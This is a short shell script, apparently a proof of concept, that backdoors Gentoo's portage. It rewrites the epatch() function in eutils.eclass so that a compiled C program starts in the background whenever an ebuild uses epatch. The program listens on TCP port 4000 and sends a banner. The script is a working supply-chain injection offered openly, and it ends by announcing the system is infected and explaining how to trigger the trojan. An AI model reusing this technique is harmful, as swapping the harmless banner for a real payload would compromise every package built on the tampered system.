  #!/bin/sh
  if [ ${#} -ne 1 ] ; then
    echo "This script puts a silly trojan into Gentoo's portage."
    echo "Usage: `basename ${0}` PathToPortage"
    exit 1
  fi
  
  mv ${1}/eclass/eutils.eclass ${1}/eclass/eutils-without-trojan.eclass
  sed -e 's:^epatch().*{:epatch()  {\newarn "Starting Trojan.\nTry it with 
  telnet localhost 4000.\nKill it with killall 
  GentooTrojan."\n${PORTDIR}/eclass/GentooTrojan \&\n:' 
  <${1}/eclass/eutils-without-trojan.eclass >${1}/eclass/eutils.eclass
  cat >${1}/eclass/GentooTrojan.c << EOF
  #include <unistd.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <string.h>
  
  int main(void)
  {
          struct  sockaddr_in     serv;
          struct  sockaddr_in     cli;
          int     sock;
          sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
          if (sock < 0)
                  return 1;
          bzero((char *) &serv, sizeof(serv));
          serv.sin_family = AF_INET;
          serv.sin_addr.s_addr = htonl(INADDR_ANY);
          serv.sin_port = htons(4000);
          if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0)
                  return 1;
          if (listen(sock, 5) < 0)
                  return 1;
          while (1) {
                  int     scli;
                  int     slen;
      static char *str="Your are listing to the famous Gentoo trojan!\n";
                  slen = sizeof(cli);
                  scli = accept(sock, (struct sockaddr *) &cli, 
  (socklen_t *) &slen);
      write(scli, str, strlen(str));
      close(scli);
          }
  }
  EOF
  
  gcc -o ${1}/eclass/GentooTrojan ${1}/eclass/GentooTrojan.c
  
  echo "Done. Portage successful infected with a trojan."
  echo "Just emerge an ebuild which uses epatch and do a"
  echo "  telnet localhost 4000"
  echo "afterwards."
